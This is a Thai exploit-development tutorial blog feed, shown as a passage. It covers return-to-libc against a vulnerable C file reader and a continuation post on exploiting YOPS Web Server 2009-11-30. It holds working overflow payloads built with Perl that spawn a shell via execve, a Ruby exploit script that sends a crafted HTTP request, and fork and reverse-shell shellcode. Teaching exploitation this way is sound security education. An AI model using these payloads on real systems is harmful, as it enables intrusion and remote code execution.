class="code"&gt;ret&lt;/span&gt; ก็จะ pop ค่าใน stack เป็น eip แล้วเข้าไปใน execve function ซึ่งจะมี stack layout สำหรับ execve function เป็นดังนี้&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-IlzNGC47Vck/TmeRxpETzuI/AAAAAAAAAGA/c5vimUnUHeU/s1600/liexp_13_2.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="252" width="400" src="http://3.bp.blogspot.com/-IlzNGC47Vck/TmeRxpETzuI/AAAAAAAAAGA/c5vimUnUHeU/s400/liexp_13_2.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จะเห็นว่า execve จะมองค่า arg2, arg3 และ arg4 ในรูปแรกเป็น function argument ที่ 1,2,3 ตามลำดับ ดังนั้นเวลาเราทำ overflow หลังจากเราเขียนทับ saved eip ด้วย address ของ execve function ใน libc แล้ว เราสามารถเขียนทับต่อเพื่อกำหนด arg1 เป็น address ของ "/bin/sh" และ arg2 กับ arg3 เป็น address ที่มีค่าเป็น 0 โปรแกรมก็จะทำงาน &lt;span class="code"&gt;execve("/bin/sh", NULL, NULL)&lt;/span&gt; ซึ่งเทียบเท่ากับ spawn shell&lt;/p&gt;&lt;p&gt;เรื่อง exploit จะให้เข้าใจจริงๆ ต้องมีการลองทำ ดังนั้นเรามาดูตัวอย่างกันเลยดีกว่า (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_13_2.c?attredirects=0&amp;d=1"&gt;ex_13_2.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_2 ex_13_2.c&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;void readfile(const char *filename)&lt;br /&gt;{&lt;br /&gt;    FILE *fp;&lt;br /&gt;    unsigned short len;&lt;br /&gt;    char buffer[2048];&lt;br /&gt;    &lt;br /&gt;    fp = fopen(filename, "rb");&lt;br /&gt;    if (fp == NULL) {&lt;br /&gt;        fprintf(stderr, "Cannot open file\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    fread(&amp;len, 2, 1, fp);&lt;br /&gt;    fread(buffer, 1, len, fp);&lt;br /&gt;    fclose(fp);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    if (argc != 2) {&lt;br /&gt;        printf("Usage: %s filename\n", argv[0]);&lt;br /&gt;        return 1;&lt;br /&gt;    }&lt;br /&gt;    readfile(argv[1]);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ตัวอย่างนี้ โปรแกรมทำการอ่านไฟล์ โดยจะอ่าน 2 bytes แรกของไฟล์เพื่อให้รู้ว่าต้องอ่านข้อมูลต่ออีกกี่ byte ซึ่งเห็นปัญหาได้ชัดเจนว่าถ้าเราใส่ให้ &lt;span class="code"&gt;len&lt;/span&gt; มีขนาดมากกว่า  2048  จะทำให้เกิด buffer overflow และเนื่องด้วยในตัวอย่างนี้ใช้ &lt;span class="code"&gt;fread()&lt;/span&gt; ทำให้ไม่มี badchar&lt;/p&gt;&lt;p&gt;ก่อนอื่นเรามาทำให้โปรแกรม crash ก่อนดีกว่า โดยผมจะใส่ค่า A ใน buffer และที่เหลือเป็นค่าอื่น เพื่อให้เห็นว่าตำแหน่ง saved eip อยู่ห่างจาก &lt;span class="code"&gt;buffer&lt;/span&gt; เท่าไร&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ulimit -c unlimited&lt;br /&gt;$ perl -e 'print "\xff\x1f","A"x2048,"BBBB","CCCC","DDDD","EEEE","FFFF","GGGG"' &amp;gt; ex_13_2_expl&lt;br /&gt;$ ./ex_13_2 ex_13_2_expl&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;$ gdb -q ./ex_13_2 core&lt;br /&gt;...&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) bt&lt;br /&gt;#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#1  0x080485c3 in readfile ()&lt;br /&gt;#2  0x47474646 in ?? ()&lt;br /&gt;#3  0xbfff4747 in ?? ()&lt;br /&gt;Backtrace stopped: previous frame inner to this frame (corrupt stack?)&lt;br /&gt;(gdb) x/4x $ebp      # ดู fclose argument&lt;br /&gt;0xbfffeed8:     0xbffff708      0x080485c3      0x43434242      0x00000001&lt;br /&gt;(gdb) info frame 1&lt;br /&gt;Stack frame at 0xbffff710:&lt;br /&gt; eip = 0x80485c3 in readfile; saved eip 0x47474646&lt;br /&gt; called by frame at 0xbffff714, caller of frame at 0xbfffeee0&lt;br /&gt; Arglist at 0xbffff708, args:&lt;br /&gt; Locals at 0xbffff708, Previous frame s sp is 0xbffff710&lt;br /&gt; Saved registers:&lt;br /&gt;  ebp at 0xbffff708, eip at 0xbffff70c&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากการตรวจสอบ core file จะเห็นว่าโปรแกรมไม่ได้ crash เพราะเรา overwrite saved eip แต่ไป crash ใน &lt;span class="code"&gt;fclose()&lt;/span&gt; function ที่เรียกจาก &lt;span class="code"&gt;readfile()&lt;/span&gt; function และเมื่อดู argument ของ &lt;span class="code"&gt;flose()&lt;/span&gt; จะเห็นว่าค่า &lt;span class="code"&gt;fp&lt;/span&gt; คือ &lt;span class="code"&gt;0x43434242&lt;/span&gt; แสดงให้เห็นว่าตำแหน่งที่เก็บ &lt;span class="code"&gt;fp&lt;/span&gt; นั้นอยู่ระหว่าง buffer กับ saved eip&lt;/p&gt;&lt;p&gt;ก่อนอื่นเรามาดู offset ของค่าต่างๆ ที่สำคัญก่อน ค่าแรกคือ &lt;span class="code"&gt;fp&lt;/span&gt; ซึ่งต้องเขียนไปก่อน 2050 bytes และ saved eip จะอยู่หลัง fp ไป 12 bytes&lt;/p&gt;&lt;p&gt;ส่วนวิธีจัดการกับปัญหา &lt;span class="code"&gt;fclose()&lt;/span&gt; ง่ายๆ คือใส่ค่าเดิมลงไป ซึ่งจะเหมือนเดิมทุกครั้งที่รันโปรแกรม เนื่องจากเรายังไม่มีการ enable ASLR (จะกล่าวถึงในหัวข้อถัดไป) ส่วนอีกวิธีคือให้สร้าง &lt;span class="code"&gt;FILE struct&lt;/span&gt; ปลอมใน &lt;span class="code"&gt;buffer&lt;/span&gt; แล้วแก้ &lt;span class="code"&gt;fp&lt;/span&gt; ให้ชี้ไปที่ &lt;span class="code"&gt;FILE struct&lt;/span&gt; ของเรา (วิธีนี้ผมไม่ทำนะครับ เพราะไม่เกี่ยวกับหัวข้อนี้) ดังนั้นเราต้องหาค่าของ &lt;span class="code"&gt;fp&lt;/span&gt; ก่อนที่จะโดนเขียนทับก่อน&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ gdb -q ./ex_13_2&lt;br /&gt;(gdb) disass readfile&lt;br /&gt;Dump of assembler code for function readfile:&lt;br /&gt;   0x08048514 &amp;lt;+0&amp;gt;:     push   %ebp&lt;br /&gt;...&lt;br /&gt;   0x080485b8 &amp;lt;+164&amp;gt;:   mov    -0xc(%ebp),%eax&lt;br /&gt;   0x080485bb &amp;lt;+167&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;   0x080485be &amp;lt;+170&amp;gt;:   call   0x80483f4 &amp;lt;fclose@plt&amp;gt;&lt;br /&gt;   0x080485c3 &amp;lt;+175&amp;gt;:   leave&lt;br /&gt;   0x080485c4 &amp;lt;+176&amp;gt;:   ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) b *0x080485be&lt;br /&gt;Breakpoint 1 at 0x80485be&lt;br /&gt;(gdb) r ex_13_1.c&lt;br /&gt;Starting program: /home/worawit/tutz/ch13/ex_13_2 ex_13_1.c&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080485be in readfile ()&lt;br /&gt;(gdb) x/x $ebp-0xc&lt;br /&gt;0xbffff6dc:     0x0804a008&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เราได้ address มาแล้วคือ &lt;span class="code"&gt;0x0804a008&lt;/span&gt; คราวนี้ลองใหม่&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ perl -e 'print "\xff\x1f","A"x2050,"\x08\xa0\x04\x08","B"x12,"CCCC","DDDD","ARG1","ARG2","ARG3"' &amp;gt; ex_13_2_exp2&lt;br /&gt;$ ./ex_13_2 ex_13_2_expl2&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;$ gdb -q ./ex_13_2 core&lt;br /&gt;...&lt;br /&gt;#0  0x080485c4 in readfile ()   # crash ที่คำสั่ง ret&lt;br /&gt;(gdb) x/8x $esp   # check saved eip และค่าอื่นๆ&lt;br /&gt;0xbffff71c:     0x43434343      0x44444444      0x31475241      0x32475241&lt;br /&gt;0xbffff72c:     0x33475241      0x08048620      0x00000000      0xbffff7b8&lt;br /&gt;(gdb) print execve    # หา address ของ execve ใน libc&lt;br /&gt;$1 = {&lt;text variable, no debug info&gt;} 0x1c6040 &lt;execve&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ตอนนี้ก็เหลือแค่หา address ของ &lt;span class="code"&gt;"/bin/sh"&lt;/span&gt; กับ &lt;span class="code"&gt;NULL&lt;/span&gt; ซึ่งจริงๆ แล้วใน env จะมี &lt;span class="code"&gt;"/bin/bash"&lt;/span&gt; อยู่แล้ว แต่เราก็สามารถใส่ไว้ใน buffer ก็ได้โดยถ้าเราใส่ '/' นำหน้าเยอะๆ ก็จะทำให้โอกาสที่ argument1 ชี้ไปที่ string ที่เสมือน &lt;span class="code"&gt;"/bin/sh"&lt;/span&gt; สูงขึ้น โดยผมจะประมาณไว้ที่ &lt;span class="code"&gt;0xbffff5a0&lt;/span&gt; ส่วน &lt;span class="code"&gt;NULL&lt;/span&gt; ผมจะใช้ address 0x08049f50&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ perl -e 'print "\xff\x1f","/"x1993,"bin/sh\x00","A"x50,"\x08\xa0\x04\x08","B"x12,"\x40\x60\x1c\x00","CCCC","\xa0\xf3\xff\xbf","\x50\x9f\x04\x08"x2' &gt; ex_13_2_expl3&lt;br /&gt;$ ./ex_13_2 ex_13_2_expl3&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ก่อนจะจบ ถ้าย้อนกลับไปดูรูปที่ 2 จะเห็นว่า ถ้าเราไม่ใช้ &lt;span class="code"&gt;execve&lt;/span&gt; แต่ใช้เป็น function อื่น ที่มีการ return ค่า เรายังสามารถควบคุม eip ได้อยู่หลังจากจบ function เพราะ saved eip นั้นได้ถูกเลื่อนลงมา ซึ่งจะนำมาใช้ประโยชน์อะไร ผมจะพูดถึงในหัวข้อหลังจากนี้นะครับ&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- &lt;a href="http://insecure.org/sploits/linux.libc.return.lpr.sploit.html"&gt;http://insecure.org/sploits/linux.libc.return.lpr.sploit.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-286035637592055543?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/286035637592055543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/09/basic-return-to-libc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/286035637592055543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/286035637592055543'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/09/basic-return-to-libc.html' title='Basic Return-to-libc'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-yLXGszkmad8/TmeOn0gPWNI/AAAAAAAAAF4/VeML-c36ZUM/s72-c/liexp_13_1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-1282297279823990814</id><published>2011-05-14T15:18:00.001+07:00</published><updated>2011-05-19T23:41:06.179+07:00</updated><title type='text'>ที่ถามคำถาม</title><content type='html'>&lt;p&gt;เนื่องด้วยใน blog นี้ไม่เหมาะกับการถามตอบข้อสงสัย ผมได้ขอยืมพื้นที่ของ &lt;a href="http://board.blackbuntu.com/"&gt;Blackbuntu Board&lt;/a&gt; จาก c1ph3r ซึ่งอยู่ในส่วน "Cyber Guide" ถ้าใครสงสัยอะไรก็ไปถามที่นั้นได้นะครับ แต่ขอให้ถามเกี่ยวกับที่ผมเขียนในนี้นะครับ :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-1282297279823990814?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/1282297279823990814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/05/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/1282297279823990814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/1282297279823990814'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/05/blog-post.html' title='ที่ถามคำถาม'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7122137787457967491</id><published>2011-05-14T15:12:00.002+07:00</published><updated>2011-06-07T11:59:28.742+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ</title><content type='html'>&lt;p&gt;จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก&lt;/p&gt;&lt;p&gt;ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops2_1.rb?attredirects=0&amp;d=1"&gt;ex12_yops2_1.rb&lt;/a&gt;&lt;/p&gt;&lt;p&gt;โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ&lt;/p&gt;&lt;p&gt;การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;# fork()&lt;br /&gt;xorl %eax,%eax&lt;br /&gt;movb $2,%al     # fork syscall number&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;br /&gt;test %eax,%eax&lt;br /&gt;jz   child&lt;br /&gt;# parent&lt;br /&gt;&lt;br /&gt;child:&lt;br /&gt;# child (our reverse shellcode here)&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function ก่อน&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb ./swebs&lt;br /&gt;...&lt;br /&gt;(gdb) b swebs_record_log&lt;br /&gt;Breakpoint 1 at 0x804a7d8: file swebs.c, line 545.&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545&lt;br /&gt;545             memset(logrec, 0, sizeof(logrec));&lt;br /&gt;(gdb) bt  # ดู call stack&lt;br /&gt;#0  swebs_record_log (log=5, job=0x804f198) at swebs.c:545&lt;br /&gt;#1  0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382&lt;br /&gt;#2  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0&lt;br /&gt;#3  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;(gdb) i f 1    # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ&lt;br /&gt;Stack frame at 0xb7fff3a0:&lt;br /&gt; eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e&lt;br /&gt; called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350&lt;br /&gt; source language c.&lt;br /&gt; Arglist at 0xb7fff398, args: arg=0x804e4a8&lt;br /&gt; Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0&lt;br /&gt; Saved registers:&lt;br /&gt;  ebp at 0xb7fff398, eip at 0xb7fff39c&lt;br /&gt;(gdb) x/24x $ebp   # ดูค่าบน stack สำหรับ logger_th function&lt;br /&gt;0xb7fff348:     0xb7fff398      0x0804cdf9      0x00000005      0x0804f198&lt;br /&gt;0xb7fff358:     0x00000000      0x00000000      0x00000000      0x00000000&lt;br /&gt;0xb7fff368:     0x00000000      0x00000000      0x00000000      0x00000000&lt;br /&gt;0xb7fff378:     0x00000000      0x0804f198      0x0804e4a8      0x00000000&lt;br /&gt;0xb7fff388:     0x00000011      0x00000005      0x00000000      0x00000000&lt;br /&gt;0xb7fff398:     0xb7fff498      0x0014596e      0x0804e4a8      0x00000002&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ &lt;span class="code"&gt;0x0804cdf9&lt;/span&gt; เมื่อจบ &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ &lt;span class="code"&gt;logger_th&lt;/span&gt; function ต้องเป็น &lt;span class="code"&gt;0xb7fff398&lt;/span&gt; แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง&lt;/p&gt;&lt;p&gt;สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; ใน &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ &lt;span class="code"&gt;0xb7fff350&lt;/span&gt; และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ  ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ &lt;span class="code"&gt;0xb7fff398 - 0xb7fff350 = 0x48&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;lea  0x48(%esp),%ebp&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ &lt;span class="code"&gt;0x0804cdf9&lt;/span&gt; โดยเราสามารถใส่คำสั่ง &lt;span class="code"&gt;jmp&lt;/span&gt; ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;jmp  (%esp)&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เนื่องด้วยหลังจากจบ &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function ด้วยคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; ค่าของ esp จะชี้ไปที่ argument แรกคือ &lt;span class="code"&gt;log&lt;/span&gt; argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง &lt;span class="code"&gt;"jmp (%esp)"&lt;/span&gt;&lt;/p&gt;&lt;p&gt;สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ &lt;span class="code"&gt;logger_th&lt;/span&gt; function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก &lt;span class="code"&gt;job&lt;/span&gt; argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ &lt;span class="code"&gt;" HTTP/1.0"&lt;/span&gt; เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง&lt;/p&gt;&lt;p&gt;สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ &lt;span class="code"&gt;swebs_record_log&lt;/span&gt; function จะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -d -j .text swebs | awk /^.*swebs_record_log\&amp;gt;:$/,/^$/&lt;br /&gt;0804a7cc &amp;lt;swebs_record_log&amp;gt;:&lt;br /&gt; 804a7cc:       55                      push   %ebp&lt;br /&gt; 804a7cd:       89 e5                   mov    %esp,%ebp&lt;br /&gt; 804a7cf:       57                      push   %edi&lt;br /&gt; 804a7d0:       56                      push   %esi&lt;br /&gt; 804a7d1:       53                      push   %ebx&lt;br /&gt;...&lt;br /&gt; 804a96f:       5b                      pop    %ebx&lt;br /&gt; 804a970:       5e                      pop    %esi&lt;br /&gt; 804a971:       5f                      pop    %edi&lt;br /&gt; 804a972:       5d                      pop    %ebp&lt;br /&gt; 804a973:       c3                      ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ &lt;span class="code"&gt;logger_th&lt;/span&gt; function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;$ objdump -d -j .text swebs | awk /^.*logger_th\&amp;gt;:$/,/^$/ | grep -e ebx -e esi -e edi&lt;br /&gt;$&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ดังนั้น shellcode ของเราตอนนี้จะเป็น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;lea  0x48(%esp),%ebp # fixed up ebp&lt;br /&gt;jmp  (%esp)&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ซึ่งเมื่อ build ออกมาจะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;\x8d\x6c\x24\x48\xff\x24\x24&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops2_2.rb?attredirects=0&amp;d=1"&gt;ex12_yops2_2.rb&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-ruby"&gt;&lt;br /&gt;require 'socket'&lt;br /&gt;&lt;br /&gt;target_ip = "127.0.0.1"&lt;br /&gt;target_port = 8888&lt;br /&gt;def send_request(ip, port, request)&lt;br /&gt;    s = TCPSocket.open(ip, port)&lt;br /&gt;    s.write(request)&lt;br /&gt;    msg = s.recv(8192)&lt;br /&gt;    s.close()&lt;br /&gt;    return msg&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;my_pub_ip = "127.0.0.1"&lt;br /&gt;offset_no_ip = 828&lt;br /&gt;offset = offset_no_ip - my_pub_ip.length&lt;br /&gt;job_addr = 0x0804d0c9 - 0x1024&lt;br /&gt;sc_addr = 0xb7fff080&lt;br /&gt;&lt;br /&gt;sc = "\x8d\x6c\x24\x48\xff\x24\x24"&lt;br /&gt;&lt;br /&gt;space = 700 # estimate&lt;br /&gt;payload = "\x90"*(space - sc.length) + sc&lt;br /&gt;cont_eip = 0x0804cdf9&lt;br /&gt;&lt;br /&gt;page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV')&lt;br /&gt;print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้&lt;/p&gt;&lt;p&gt;เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops2_sc.s?attredirects=0&amp;d=1"&gt;ex12_yops2_sc.s&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;# fork()&lt;br /&gt;xorl %eax,%eax   # set eax to 0 with xor&lt;br /&gt;movb $2,%al     # fork syscall number&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;br /&gt;test %eax,%eax&lt;br /&gt;jz   child&lt;br /&gt;lea  0x48(%esp),%ebp # fixed up ebp&lt;br /&gt;jmp  *(%esp)&lt;br /&gt;&lt;br /&gt;child:&lt;br /&gt;inc  %eax      # to be replace with real shellcode&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;$ build-sc.sh ex12_yops2_sc.s&lt;br /&gt;Compiling ex12_yops2_sc.s to ex12_yops2_sc.o&lt;br /&gt;&lt;br /&gt;Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc&lt;br /&gt;\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40&lt;br /&gt;&lt;br /&gt;Creating ex12_yops2_sc.sctest.c&lt;br 